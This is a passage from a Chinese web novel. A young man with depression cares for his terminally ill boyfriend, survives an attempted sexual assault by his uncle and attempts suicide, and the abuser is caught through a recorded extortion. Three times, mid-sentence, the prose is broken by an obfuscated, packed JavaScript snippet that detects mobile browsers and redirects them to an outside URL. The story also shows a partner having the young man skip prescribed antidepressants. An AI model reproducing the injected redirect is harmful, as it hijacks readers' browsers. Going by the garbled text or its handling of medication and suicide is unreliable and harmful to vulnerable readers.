秦南深笑道：“当然可以，哥哥已经付过钱，你们吃什么都行，就是不要浪费食物哦，吃多少拿多少。” “我知道！” 他们几个人拿完菜，找了个餐桌坐下，两个小女孩开始自己烤，把肉放在烤炉上面，都笑开了花。 “秦哥哥是世界上最好的人！如果能一直陪我们就好啦。” “对啊，秦哥哥会离开吗？” 秦南深已经深得妹妹喜欢，他也抿着唇暗自开心，就是有点分不清双胞胎谁是谁，直接回答道：“我也喜欢你们，我不会离开的。” “好耶！万岁！” 温昭阳希望这种甜蜜时光永存。 秦南深点的有点多，餐桌上面各种各样的海鲜，这是温昭阳第一次吃螃蟹，他不太会，咬在嘴里啃了半天，还被蟹钳戳到脸。 “真可爱。” 秦南深抹去他脸上的油说：“我给你剥。” 温昭阳低头羞愧道：“我是不是很笨……虾我也是第一次吃。” 秦南深耐心教导：“不笨，我教你，我第一次吃的时候，比你还差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260435|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我们阳阳很聪明。” 秋秋咬着螃蟹腿，突然说：“哥哥好像在谈恋爱呀，吃饭约会，然后我们待会还要去看电影，很幸福哦。” “咳咳咳……” 温昭阳险些呛到，秦南深递了杯果汁，他咽下后，瞪着眼说道：“小孩子不许胡说！这话可不能在你妈妈面前讲。” “知道啦。” “那我待会可以打包回去给妈妈吗？” 秦南深回答：“不用，我待会让后厨单独做一份。” 两个小姑娘齐齐抬手鼓掌，清脆的声音里满是雀跃：“太棒啦！” 这模样，真是俩让人欢喜的活宝，秦南深是独子，融入到温昭阳的世界，他好像也体会到了亲情和家人。 …… 休假的时间，秦南深带温昭阳出去旅游，因为他心脏不好，也不能做极限运动，只能在国内带他去看海、看日落，散步度假。 他们去了岛屿，温昭阳见到了椰子、香蕉，在船上漂流的时候，他还钓了许多的鱼。 他们一起观赏了日落，金碧辉煌的天空，倒映在海边，仿佛就在面前，伸手就能摸到晚霞似的，温昭阳才知道，原来世界如此美丽，是他没有看见而已。 他们两个人相依为命，互帮互助，在他的陪伴下，秦南深每次心脏不舒服时，温昭阳能第一时间知道，他随身也携带了治疗救急的药。 … 秦南深陪他玩了一个多月，公司那边忙的是焦头烂额，等着他回去救场。 温昭阳说：“秦南深，你要不辞职吧，咱们节约点，不要花太多的钱，你身价几千万，够花一辈子，身体又不好，不要再上班了。” “心疼我了？” 秦南深捏了捏他脸颊：“我之前是有这个打算，但是公司目前没有人接手，董事长把我视如己出，我不能直接走人。” “好吧……我很担心你的身体。” 温昭阳垂下眼，神情有些不高兴。 秦南深亲了下他脸颊：“放心，我会尽快办好手上的事。” “好。” 温昭阳说。 — 很快，又到了秋天。 温昭阳和秦南深的感情越来越深，他心里的负担也越来越重，总是担心这个男人的身体扛不住。 那天正在下大雨，温昭阳一个人在家等了很久，也没看到男人回来，时钟停在了十一点整，狂风骤雨中，林助理急匆匆地从门外打着伞跑了过来。 “林助理！怎么了这是？” 温昭阳立马从客厅站起来，将手里的毛茸小熊扔到了一边。 林助理拉住他胳膊说：“温先生，快随我去医院！秦总今天下班的时候，遇到电梯故障，被困了十几分钟，消防员进去的时候，他心脏病发作陷入昏迷，现在还在抢救室。” 温昭阳眼前突然一黑，急忙冲了出去。 医院。 温昭阳赶过来的时候，衣服全部被淋湿，林助理带他来到急救室，里面的手术灯还未灭。 林助理说：“就是这里，秦总在这里没有亲属，只有你是他男朋友，遇到紧急情况，也只能你签字。” 温昭阳愣愣地站在旁边，他心中忐忑不安，不知道从何时开始，已经非常在乎这个人。 秦南深如果死了。 他该怎么活下去。 一个小时后。 手术室的灯熄灭，医生出来的时候，林助理立马推了推温昭阳。 温昭阳站起来，突然腿软摔倒，不知何时，他已经泪流满面，睫毛簇成团，眼角的水珠未干，男孩声音也很哑：“怎么……怎么样了……” 医生松了口气说：“你是他家属吗？已经脱离危险，但是需要住院观察，心肌细胞缺氧，代谢异常，还要尽快匹配供体进行手术，否则支撑不了多久，一定要让他情绪稳定，压力不能过大。” “脱离危险了……好好好，我知道……我会注意的。” 温昭阳抹去泪水，手指还在发抖。 秦南深转入重症病房观察，躺了两天两夜没醒，第三天有苏醒迹象，才被推进手术室，人也彻底清醒过来，诊断结束后，才被送到普通病房。 … 温昭阳走到病房，看到秦南深已经醒了，只是心电图很弱，鼻息轻，戴着氧气面罩，整张脸毫无血色。 “阳阳……” 温昭阳立马跑过去，坐在他身边，紧紧握住他的手：“我在……我在……” 秦南深抬手，轻轻抹去男孩眼角的泪水：“抱歉，吓坏你了吧？” 温昭阳突然放声痛哭，整个人几乎埋进他身侧，紧紧攥着他的胳膊不肯松开，哽咽着嘶吼：“我反悔了！秦南深，你要是出事，我绝对要去陪你……我活不下去的，我真的不能没有你……” 14.绝望 秦南深抬手揉了揉他的发顶，眼底的柔和几乎要漫出来，嗓音轻得像羽毛：“真是委屈你了，在这艰难的生活里，还要照顾我。” “不……这是我应该做的，我是你的爱人，我乐意照顾你，希望你能长命百岁。” 温昭阳趴在他怀里说。懂了。 “没事了，不怕……” 秦南深将他揽入怀中，抬手抹去他眼角的泪水。 他好想活着。 陪他过一辈子。 - 温昭阳留在医院照顾秦南深，第二天下午的时候，他的心跳才平稳了些，摘掉氧气罩能进食，他坐在旁边端着碗喂他，给他洗脸把身体。 秦南深吃完后，温昭阳把漱口水递给他，又给他的腿按了按摩：“医生说，你可以起来慢慢走动，昨天说膝盖有点麻，现在呢？” “好多了，那你扶我起来，我们去楼下走走。” 秦南深伸出手。 温昭阳凑过去搀扶他，秦南深突然低头，轻盈却灼热的吻落在他唇边，男人拥住他后脑勺，伸出了舌尖钻进去，将里面的软物勾住纠缠，又咬住下嘴唇啃咬，舔舐，带着一点野蛮。 直到温昭阳呼吸微促，秦南深才慢慢松开他，指腹摩挲着他泛红的下唇，声音低哑：“想把你的味道记在心里，怕下辈子找不到了。” “你又说这些傻话……”温昭阳眼眶发红，语气虽然听着带一点嗔怪，更多的却是藏不住的心疼。 “我下午回去把换洗的衣物和生活用品带过来，医生说你现在的情况不稳定，需要住院一个月观察。” 温昭阳说。 秦南深：“好，我让林助理送你回去。” “嗯。” 温昭阳点了下头。 … 本该是个晴朗的天空，下午两点的时候却下起了太阳雨，西边乌云密，温昭阳打着伞，观看了一会儿天空，想必是阵雨快来了。 半小时后。 温昭阳回到家，果然雷阵雨突然袭来，林助理把雨伞递给他：“温先生，需不需要我上次一起给你收拾？” “不用不用，待会把你的衣服也淋湿了，我就收拾两套衣服和洗漱用品，很快下来。” 温昭阳说完转身冒着雨冲过去，跑到破旧的楼栋单元门下，擦了擦衣服的水渍，往楼上走，拿出兜里的钥匙打开门。 他走到房间，拿出书包，找了两套衣服装进去，又把复习的书本装在隔层里，然后过去找牙刷。 温昭阳肚子咕咕了两声，他感觉胃里有点空，便在客厅找到两包小饼干塞嘴里，准备离开的时候，突然被人捂住嘴。 “唔……” 温昭阳的脖子被一股蛮力死死勒住，他用力疯狂挣扎，指甲几乎要嵌进对方的手臂里，却还是被拖拽着撞向卫生间的门。 身后的人突然猛地一拽，他脚下踉跄打滑，重心不稳，重重摔在冰冷的地砖上。 后脑勺磕在地砖的瞬间，“嘭”的一声钝响震得耳膜发疼，眼前骤然黑暗一片，整个人昏昏沉沉的，连挣扎的力气都被抽走。 直到视线渐渐聚焦，他才看清蹲在面前的中年男人，那张刻满阴鸷的脸，是赵功林。 赵功林叼着烟问：“怎么样？磕到后脑勺感受很不好吧？你知不知道，老子疼了几个月！” 温昭阳捂住脑袋，惊讶道：“你……你什么时候出院的？不是被警方的人监控了吗？” 赵功林出院后，被秦南深搜集证据，举报他在以前单位贪污逃税的事情，加上他有家暴倾向，警方那边正在全力调查，所以只能在他们的监控范围里活动。 “想毁了我是吧？” 赵功林捏住他下巴说：“既然已经闹到这种地步，我还留什么情面？小白眼狼，我告诉你姑姑，你们两个关系不清白，她竟然不信，又开始和我闹离婚。” “你肯定不知道，当初温兰芝撤回离婚诉讼时，是因为我威胁她，如果敢和我离婚，我就去弄死秦南深。” 赵功林说完大笑了起来：“秦南深这种多管闲事的人，总算报应来了，现在心脏病发作，只能躺在病床上被你伺候了吧？” 温昭阳瞪大眼睛：“你说什么……果然根本就没有和解……秦南深不会放过你的！” “哎哟，你们天天腻歪在一起，多恶心啊，他碰你了吗？阳阳，你真是让我失望，我养你这么大，你不仅不报答，也不给温家留后，竟然爱上一个男人。” 赵功林捏住他下巴，“不过也是……这么漂亮的脸，哪个男人不动心？” 赵功林盯着温昭阳，嘴角勾起一抹阴恻恻的笑，声音像淬了毒的蛇：“你说，我该怎么做，才能让秦南深那小子，心脏病再次发作，就再也醒不过来呢？” 温昭阳气急败坏，想坐起来，却疼得厉害，眼前有点晕，他咬牙切齿道：“你要是敢伤害秦南深！我做鬼也不会放过你！” 赵功林突然疯笑起来，他的笑越来越阴森森，温昭阳想起身逃走，却被抓住脚腕。 “老婆要和我离婚……女儿不肯认我这个爸爸了……工作被辞退、上班被调查，现在警方都跟着我，这是想把我送入监狱啊……” “温昭阳，你的心怎么那么狠？到底是谁把你养这么大！是谁啊！！长这么好看，就是去勾引男人！？我既然已经完蛋了，你也别想好过！” 赵功林此时就是一个疯子，他突然抓住温昭阳的衣领，猛地往下撕扯，男孩大惊失色，瞳孔震惊地望向身后的姑父。 中年男人已经扑了过来，甚至强行解开他的裤腰带，温昭阳意识到什么的时候，迅速用力反抗，但是他头晕眼花，脑袋传来的刺痛感让他倒在了地上，整个人晕头转向。 “别碰我……别碰我……” “姑父，姑父……” 温昭阳喉间发紧，声音压得又低又哑，盼着这声称谓能唤醒男人哪怕一丝的良知。 可赵功林眼底只剩下一片冷漠的疯狂，妻离子散的痛楚早把他的理智啃噬殆尽，他再也没有未来，已经心理扭曲全是恨意。 他要先毁了温昭阳，要亲眼看着秦南深得知消息后，气到心脏病发作，彻底断了气才肯罢休。 他要报复！ 赵功林捏住他下巴，才发现从来没好好看过这个侄子，五官清秀干净，脸蛋白皙，掐起来软软的，竟然长得这么好看，难怪男人喜欢。 温昭阳摸索旁边的工具，想杀了他，但是手里没有任何东西。 赵功林摸到他腰间小腹，温昭阳一阵恶心，干呕了出来，借着最后的力道猛地踹了过去。 赵功林痛呼一声，捂住某个部位翻滚，嘴里嚷嚷着要弄死他。 就在温昭阳想撞墙的时候，林助理赶了过来，见此情景，他惊心动魄，对着地上的男人就是一脚踢飞。 “操！” 林助理及时把温昭阳扶起来，“你他妈禽兽不如啊！赵功林！你疯了！” “我说怎么半天没下来！” 林助理及时把温昭阳扶起来，拿出手机报警，边问：“温先生，您怎么样？” 温昭阳靠在他肩膀上，晃了晃头说：“我的头……好晕……” 林助理摸到他后脑勺肿了起来，赶紧把人背着下楼，送到汽车里躺下，温兰芝在上班，两个小朋友在上学，没想到赵功林竟然干这种缺德事。 “谢谢……” 温昭阳昏迷前，低声说：“林助理，别告诉秦南深……别告诉他，他的心脏病越来越严重，承受不住任何刺激。” “好……我知道。” 林助理叹了口气，希望这次能把赵功林绳之于法，但是家暴现在不足以判刑，做这种侮辱人的事情也没有确切的证据，只能找关系，看看能不能把这人彻底关在监狱里。 温昭阳缩在角落里，索性他年轻，身手比赵功林好，如果不是最后那一脚，或者林助理不在，他真不敢相信会发生什么。 医院。 温昭阳做了个检查，没什么大碍，脑内有点淤血，医生开了点活血化瘀的药物，让他每天早晚热敷，避免用力揉搓，一周后再来复查。 温昭阳换了身衣服，本来想躺着休息，秦南深那边打电话过来了，问他怎么还没来。 温昭阳只能来到病房，他换了身衣服，除了脸色苍白，看起来和平时有点区别，目光恍惚不定。 秦南深躺在病床上，招了招手问：“过来，怎么了？” 温昭阳摇了摇头，刚刚磕到后脑勺，鼓了个包还没消，现在仍然觉得头晕，趴在了他怀里。 “有点困。” 秦南深把被子掀开：“过来挤着一起睡，衣服都拿过来了吗？” “嗯。”温昭阳闭上眼，就在秦南深的手即将触到他腰间时，他却骤然睁开眼。 恍惚间，赵功林先前摸向他小腹的触感猛然翻涌上来，男孩心头一阵反胃，猛地起身踉跄着冲进卫生间，扶着冰冷的瓷砖干呕不止。 “呕——” 秦南深皱眉，捂着胸口起身：“阳阳，怎么了？胃不舒服吗？” “没……没事……” 温昭阳走出来，又坐在他身旁说：“你晚上吃什么……我有点反胃，吃不下，我给你点吧。” 秦南深抬手揉了揉他肚子，温柔道：“哪里不舒服？我帮你按一下。” 温昭阳摇头，把他的手推开，拿起床头柜旁边的苹果说：“不用……我吃个水果，压一下就行。” 秦南深看着他呆愣地咬水果，也没说什么话，只是拿出手机，给林助理发了条消息。 “我去上个厕所……” 温昭阳突然起身，往卫生间里面走去。 秦南深发完消息抬头时，他已经走进去了，他躺了几分钟，也没收到林助理的回复，然后就听见了卫生间里面传来哗哗的水声。 秦南深直接拿出手机给林助理打电话，那边接通后，说没什么事。 “林祎，你知道我最讨厌欺骗，阳阳回来后状态一直不对劲，他在家里到底发生了什么！” 林助理从来没见过他发脾气，生怕他把自己身体气坏，在电话那头说：“秦总，我说了您不要生气……赵功林不知道什么时候出院的，他从医院逃出去，绕过警察的视线，逃回了家里，因为贪污证据不足，警方那边也不能无理由逮捕他，温昭阳回去拿东西的时候，差点……” 秦南深面色冷峻严肃：“继续说。” 林助理叹了口气：“差点……被他姑父侵……犯。” 秦南深瞳孔骤缩，他本来预计这几天挖空赵功林的底，把他送进拘留所，彻底调查家暴事件，没想到这人竟然狗急跳墙，做出这种事情！ 秦南深猛地咳嗽两声，手颤抖着去拿床头的药，准备拿水杯咽下的时候，却发现他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273856|180087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的水杯不在桌上。 秦南深重新拿了个塑料杯倒了点水，把治疗心绞痛的药咽下，立马起身跑到卫生间门口，听见里面“啪”地一声脆响。 “阳阳！！” “阳阳！开门！！” 嘭—— 秦南深一脚踹开卫生间的门，视线瞬间被浴缸里的身影滞住，温昭阳蜷在水中，指节泛白地攥着一块锋利的玻璃碎片。 最让他难忘的，是那双死寂的眼，眼皮沉沉垂着，瞳孔黑漆一片，空洞得没有一丝波澜，整个人仿佛被无形的屏障裹着，彻底封进了无人能及的黑暗里。 那道光照了进来。 温昭阳缓缓睁开眼，玻璃碎片慢慢从手腕挪开。 “秦南深……” 秦南深冲过来蹲在他身边，把人捞起来，轻轻地掰开他的手，将玻璃扔到了一边。 “阳阳……吓死我了……你是想让我病发吓死吗？” 秦南深看向他肚皮，都被搓掉了一层皮。 “没事没事……” 秦南深安抚了他，“不管发生什么，有我陪你。” 温昭阳倚靠在他怀里低声说：“秦南深……你让我死吧……我连累姑姑被他威胁……连累你生病，还要为我操心，为我花钱，我只是救了你一命，你根本不用对我好，我好累，我好累啊……” 秦南深突然低头吻住他双唇，轻轻啄了啄，温柔地说：“阳阳，没有人活着轻松，你只是生病了，有这种念头，就会一直想死，其实大家都很喜欢你，姑姑也没有觉得你是累赘，你也没有连累我。” “有很多人活不下去，但你有没有想过，你的人生前途无量，你可以活出光彩，世上还有爱你的人，如果你离开了，他们都会难过、伤心。” “世界很美好，你要多去看看，完成自己的梦想、爱好，赏遍人间美景，我们终有一天会幸福的。” “阳阳，一切都会好的，自杀是懦夫的行为，活着的人才最痛苦，你死了我怎么办？为了我活下去，好吗？” 温昭阳听到他说些话，轻生的念头再次被拉了回来。对啊，他还有秦南深，这个男人患心脏病，这么严重，都想要活着，他为什么要寻死？ “对不起……” “是我太自私，只想着自己解放，没有想过，活着的人才最痛苦……” 秦南深抱住他，替他擦了擦身体，把人抱起来说：“乖。医生说过，抑郁症是长期的，你没有自私，我们阳阳会好起来的，我会陪你慢慢接受治疗。” 温昭阳靠在他怀里，双眼通红趴在他怀里泣不成声。 秦南深帮他洗干净，找了点消炎药，轻轻抹在他小腹破皮的地方：“疼吗？” 温昭阳摇了摇头低声解释说：“……他没有碰到我，只是扒了我的衣服，然后……摸到了小腹，我就用仅有的力气把他踹倒，然后林助理就过来了。” 秦南深微微笑了笑：“你不用解释，我不在乎这些，我没想到他能畜生成这样，不过也没事。” 男人半开玩笑地打趣：“他刚碰过的地方，都快被你搓掉层皮了。等这新皮长出来，可不就等于他压根没摸过吗？” 温昭阳被他逗笑，躺在他怀里，将手放在他胸口：“你怎么样？这里还疼吗？我不敢告诉你，就是怕你心脏病发作……” “没事，我可以控制情绪。” 秦南深牵住他的手，“放心，我会帮你讨回公道的，刚刚他动你的时候，有没有留下证据？” 温昭阳摇了摇头，他那时磕到后脑勺，头晕看不清，连爬起来都很困难，哪里还去留证据拍照。 秦南深将手机递过去，声音沉稳：“先点些吃的吧，医院有专门的食堂，味道还算不错，你直接下单。” 他顿了顿，话锋转向正事，“至于赵功林，这事我来想办法。之前他家暴那回，伤没到够判刑的程度，才让他一直逍遥到现在。可真要让他坐牢……往后秋秋和落落的前途，怕是会受影响。” 温昭阳捧着他的手机低声说：“……秦南深，他这种人渣，敢动手打我姑姑，就会有一天伤害妹妹。所以，让他入狱，秋秋和落落也能理解的，对她们也是一种保护。” “如果不是遇到你，我都想过和他同归于尽。” “不值得。” 秦南深摸了摸他脑袋：“他不是想让你还抚养费吗？咱们还给他。” “什么意思？” 温昭阳疑惑道。 … 一周后。 拘留所突然把赵功林放了出来。 赵功林刚出警察局，男人满脸胡渣，双手插在裤兜里呸了声。 “什么垃圾鸟人，说我强j未遂？碰都没有碰到，无凭无据，他还不是拿我没办法！” 赵功林心里还在盘算，该怎么收拾温昭阳那个小白眼狼。 就在此时，一辆宝马停在了面前，赵功林愣住，看见秦南深从后面下车，他心生恐惧，往后退了两步。 秦南深走上前，低声平静地说：“姑父，咱们好好谈判一下。” 赵功林听到这声称呼：“什么意思？” 秦南深猛地上前，拳头骤然攥紧，带着满腔怒火狠狠砸在男人鼻梁上。 他一把揪住对方的衣领，眼神凌厉如刃，声音里满是咬牙的狠戾：“这一拳，是替阳阳打的！你这种猪狗不如的东西！” 15.幸福 “你敢打老子！” 赵功林正想还手，突然有两个黑衣保镖冲过来把他肩膀按住，强行压在了地上跪下。 秦南深拿出湿纸巾擦了擦手指，说：“继续谈吧，到底怎么样，你才能放过阳阳，答应和温兰芝离婚。” 赵功林抬起头，听见他无奈妥协的语气，突然笑出来：“哈哈哈——原来你也是没办法了，所以才来找我讲和是吧？” 秦南深面无表情，说话心平气和：“阳阳是你的侄子，就算没有血缘关系，好歹也有亲情，你呢？你对他做什么？你还是一个姑父吗？提个条件，怎样才能离开他。” 赵功林越笑越开心，他突然伸出三根手指说：“既然你这么有钱，就把他的抚养费还给我，加上他之前对我身体造成的伤害，三十万，不多吧？” 秦南深轻抬眼眸，又低下头说：“你要挟我？” 赵功林笑着凑过去，在他耳边说：“既然给不到，那就等着我怎么弄死他，阳阳这么漂亮的男孩子，可不能随便便宜了你啊。” 秦南深眉头一抽，忍着想把拳头挥到他脸上的冲动，咬着牙说：“可以，我给你。” 赵功林见他这么好说话，突然变卦道：“听说你死后，要把所有钱捐赠给公益，你也不怕被贪官收了，何必呢。要不然，再加点钱，我保证，以后有了钱，绝对不闹事，以后好好照顾这一家人。” 秦南深冷着脸：“加多少。” “五十万。” 赵功林说。 “好，账号给我助理，他会负责汇款。” 秦南深说完转身上车。 赵功林没想到他会立马答应，心里疑惑了半晌，他谨慎地问：“真是富家子弟啊，这么多钱拱手相让，你图什么？” 秦南深语气坚定道：“我喜欢他，如果五十万能换他平安，我愿意。” “啧。”赵功林撇了撇嘴，满脸鄙夷，光是想到这俩同性恋，就觉得浑身不自在，只想赶紧摆脱。 他粗声粗气地应着：“成，我答应你。等拿到钱，往后我绝对不沾他边。” 秦南深的目光骤然敛起，眼底寒光锐利如刃：“你发誓，拿到钱后，再也不准伤害温昭阳。 赵功林举起手满脸小人得志的笑容：“我发誓，拿到钱之后，绝对不会再去找温昭阳的麻烦。” - 返程途中，秦南深靠在后排座椅里，抬手用力揉了揉发胀的太阳穴。 一想到温昭阳曾受那般重创，抑郁症好不容易有了些起色，如今却被打回原点，他便气得胸腔发紧，连心脏都跟着一阵阵抽疼。 “这段阴影，恐怕又藏在了他心里……” 秦南深自言自语说。 林助理边开车边问：“秦总，您还好吧？需要回医院吗？” “阳阳还在医院等我，医生也说下周要做复查，先回去吧。” … 第一医院。 秦南深从地下室乘电梯直抵楼层，刚踏出轿厢，便被等候多时的人拦在了门口。对方正是他的主治医生，心脏科专科主任肖医生。为了找到他，肖主任竟在此处蹲守了许久。 “秦南深！” 肖主任叫住他，走过来说：“谁让你擅自偷偷出院的？你知不知道你身体现在的严重程度？” 肖主任是心脏专科的主任，年过五十，手握三十年临床经验，对秦南深的病情早已了如指掌。 相处日久，他知道秦南深善良正直的本性，打心底里盼着能彻底治好他的病，让他摆脱心脏问题的困扰。 “抱歉，肖主任。”秦南深的语气里带着几分歉意，抬眼看向对方，“方才出去处理了点急事。” 肖主任拧紧眉头：“你是扩张性心肌病，现在病情已经达到终末期，知不知道有什么严重后果？等你出现呼吸困难、浑身乏力的时候，就必须做心脏移植手术，如果没有找到供体，怎么给你手术？只有死路一条知道吗？” 秦南深唇边牵起一抹浅淡的笑，语气里带着几分温和的感慨：“肖主任，这两年，真是辛苦您一直为我的病奔波。我自己也清楚，身体是一天比一天差了，所以才想着，趁还能动，把没了结的事赶紧处理好。” “行了，我先调整药物方案，你赶紧回病房好好躺着休息，什么时候通知家属过来？” 肖主任又问。 “我家属就在病房里。” … 秦南深来到病房的时候，将外套脱下，看见床上的人还在睡。 凌晨五点多，温昭阳从噩梦中惊醒，整个人陷入强烈的焦虑里。 他神志恍惚，嘴里不停胡言乱语，双手一直无意识地挠床单，竟硬生生抓出两个破洞。 秦南深见状急忙联系医生，让其开了一支镇定剂。用药后，温昭阳的情绪才渐渐平复，此刻总算安稳了些。 秦南深走上前，慢慢钻进被窝里，将旁边的人揽入怀中，低头吻了下他额头，也阖上了眼。 直到中午的时候，护士敲门送饭进来，秦南深才醒来，温昭阳也迷糊地睁开眼。 护士说：“秦先生，您的营养餐已经做好，肖主任务必嘱咐过，一定要关注您的饮食问题，吃饭前咱们先抽个血。” 温昭阳捂住脑袋：“我怎么睡这了……” VIP病房还有个小床，平时有人进来的时候，温昭阳都是睡在旁边，不好意思挤在一起，结果刚睁开，就看见自己在秦南深怀里。 秦南深摸了下他脑袋：“好点了吗？” 温昭阳意识不清，担忧地问：“我是不是抑郁症又发作了？” “没有，你只是做了个噩梦。” 秦南深说完伸出手看向旁边护士：“您好，先抽血吧。” 护士过来的时候，嘴角突然扬了起来，拿出工具消毒，时不时看向温昭阳，这小男孩长得真是俊俏。 温昭阳被盯得不好意思，立马下床跑到卫生间刷牙洗脸。 刚抽完血，温兰芝敲了敲门，也是过来送饭来了。 秦南深按着胳膊的棉签打招呼：“温阿姨，您怎么过来了。” 温兰芝走过来，把保温盒放在床头柜上面打开说：“我怕你们吃不惯医院的饭菜，昨天去询问过医生，说问补充蛋白质，我给你做了点牛肉、瘦肉、鸡蛋，买了点牛奶，熬的鲫鱼汤，也是过滤了几遍鱼刺。” “营养是最重要的，没有营养身体也扛不住，我做的都是低盐，分量也比较适中。” 秦南深笑道：“这也太丰盛了，我有花钱请专门的护理，每天帮忙下单饭菜，医院的伙食也很干净，您不用这么劳累。” “哎呀，你这孩子，我这哪里劳累，你身体才最重要。” 温兰芝坐下来问：“怎么样，最近好点了吗？阳阳呢？” 秦南深沉默良久，盯着她的五官，忽然体验到母亲仿佛就在身边的感觉。 但是他妈妈年龄大了，有高血压，如果看到他受这些罪，能不能撑过去还不知道，所以也不敢说。 “他在卫生间。” 秦南深说。 温兰芝给他剥了个鸡蛋，递给他说：“小秦，我听阳阳说过，你母亲过来很远，身体也不好，你也没有爸爸，没人照顾你，以后你想吃什么，尽管给我发消息，阿姨现在就晚上出摊，白天都有时间。” “赵功林的事，谢谢你告诉了我，让我认清他这个人。打官司的时候，我一定出庭作证，把这个畜生送到监狱里去。” 秦南深咬了口鸡蛋，又问道：“他终究是秋秋和落落的父亲，对孩子以后没有什么影响吗？她们会不会心里想着爸爸。” 温兰芝摇了摇头：“我已经和孩子说过，她们自己都说，坏爸爸就应该关进去，赵功林这畜生现在心思越来越歪……我和孩子都不好过。” “放心吧，这种人绝对会绳之以法。” 秦南深吃完鸡蛋，突然抬头看向卫生间门口。 怎么没动静了…… 秦南深突然坐起来，迅速跑下床敲了敲门：“阳阳？还没洗完吗？” 里面传来温昭阳的声音：“……我没事，有点肚子疼，上厕所呢。” 秦南深松了口气，重新走到床边坐下，温兰芝听后说：“那我待会去拿点治肚子疼的药，这孩子晚上睡觉喜欢踢被子，可能夜里着凉。” 秦南深垂眸沉思，心里渐渐有了数，温昭阳夜里折腾，恐怕不只是踢被子那么简单。 他忽然想起，这小朋友有时睡不着，就会悄悄靠在他怀里假装睡觉。 等自己呼吸平稳、看着像睡熟了，又会轻手轻脚摸过手机，点开网剧静音刷起来。 这么看来，以后睡觉前，必须把他的手机先收起来才好。 温昭阳出来后，捂着肚子，看见坐在床边的女人打招呼：“姑姑……你怎么来了。” 秦南深抬头问：“昨晚是不是又一宿没睡，在被子外面玩手机着凉了？” 温昭阳心虚回答：“睡了……” 秦南深凝视他。 “睡了两小时。” “从今天起，晚上睡觉前，把手机交给我。” 秦南深说。 “哦。” 温昭阳也很乖，没有反驳。 温兰芝看了他们两人一眼，突然站起来说：“……我去给你拿点药吧。” 温兰芝急匆匆走到门口，心里琢磨着，他们两人的关系是不是……也太近了？阳阳竟然在他面前这么乖，两人的眼神都感觉不对劲。 … 温昭阳走到床边坐下说：“我姑姑会不会起疑心？要不我去心理科住院吧，晚上就过来陪你。” “你怕吗？” 秦南深问。 温昭阳垂下脑袋：“有点……万一姑姑不同意我们，我都不知道怎么办……” 秦南深抬手揉了揉他小腹，温柔说道：“放心，如果姑姑真的不同意，我会跟她解释的。” 他活不了多久，所以温兰芝应该不会为难他们两个。 温昭阳从包里把抗抑郁的药拿出来，本来想喝，被秦南深拦下来，说：“今天胃不舒服，先不喝，免得产生不良反应。” “医生不是说不能断吗……” 秦南深低头，在他唇前轻轻啄了啄：“阳阳以后每次情绪低落的时候，就想一下我，好不好？我还需要你照顾呢。” 这句话给了温昭阳最大的鼓励，比药还管用，他眼里瞬间有了光，因为秦南深是他的全部，所以他必须要鼓足勇气活下去。 “好！” - 三天后。 赵功林在公司附近的棋牌室玩扑克，几个中年人边抽烟边扔牌，押注一个比一个大，这个扑克叫做炸金花，三张组在一起押注，比谁手上的牌更大。 “老赵！你是不是中彩票了啊？最近都押这么大，行，我弃牌。” “怕个球，我跟牌！” “啧，老子又不怕输，我儿子给我挣大钱呢，赶紧给我快点，五倍不开。” 嘭—— 棋牌室的门突然被撞开，几名警察冲进来后，周围的人立马散开往外跑。 “赵功林。” 其中一名男警察拿出手机的照片，走到他面前对比，拿出手铐直接扣押住说：“你涉嫌敲诈勒索罪，现在被逮捕了。” “什么？” 赵功林立马挣扎道：“你们是不是抓错人了啊！我没有勒索啊！放了我！快放了我！” 警察拿出录音笔播放，是秦南深和赵功林那天的对话。 他直接将人双手拷住：“你家暴打老婆、打孩子、甚至对自己侄子图谋不轨，以五十万作要挟，威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦南深挂完电话，温昭阳把苹果递给他问：“怎么回事？” “前段时间就在猜测，赵功林恐怕是想勒索我。”秦南深眼底盛着几分了然，仿佛一切尽在掌控，“我索性将计就计，主动找了他，问他到底要怎样才肯放过你。” 他语气里添了丝冷嗤：“结果你猜怎么着？他竟疯得狮子大开口，直接要五十万。半点法律常识都没有。真是有钱能使鬼推磨……这钱也能让他丢了脑子。” “这……这钱能追回来吗？你也太大胆了，不怕他给你全花完了！？” 温昭阳情绪忽然松懈下来，因为上次的心理阴影，这段时间一直不敢回家。 “只要能让你平安，钱不钱的都无所谓，而且，一个人怎么可能在这么短的时间花光所有的钱？” 温昭阳抬眼和他四目相视，随着赵功林的落网，他心里悬了许久的巨石总算落了地。 那些怕被欺负、惶恐不安的心理阴影，在此刻烟消云散，他的人生迎来了新的开始。 温昭阳突然忍不住落下眼泪。 “曾经我想过很多次，和他同归于尽的方法……” “我这么笨，这么没用，如果不是遇到你，我只会拼死拼活的去对付他……” 秦南深将他抱在怀里，低头吻去他眼角的泪水说：“你只是个刚成年没多久的小朋友，能有多大的实力呢？杀人犯法，所以不能做，他打你的时候，你有勇气对他还手，足以证明你根本不懦弱。” 温昭阳放声痛哭出来，呜咽道：“秦南深……在你眼里，不管我怎么废物，你都会把我当宝，都会夸我……你是我见过最好的人。” 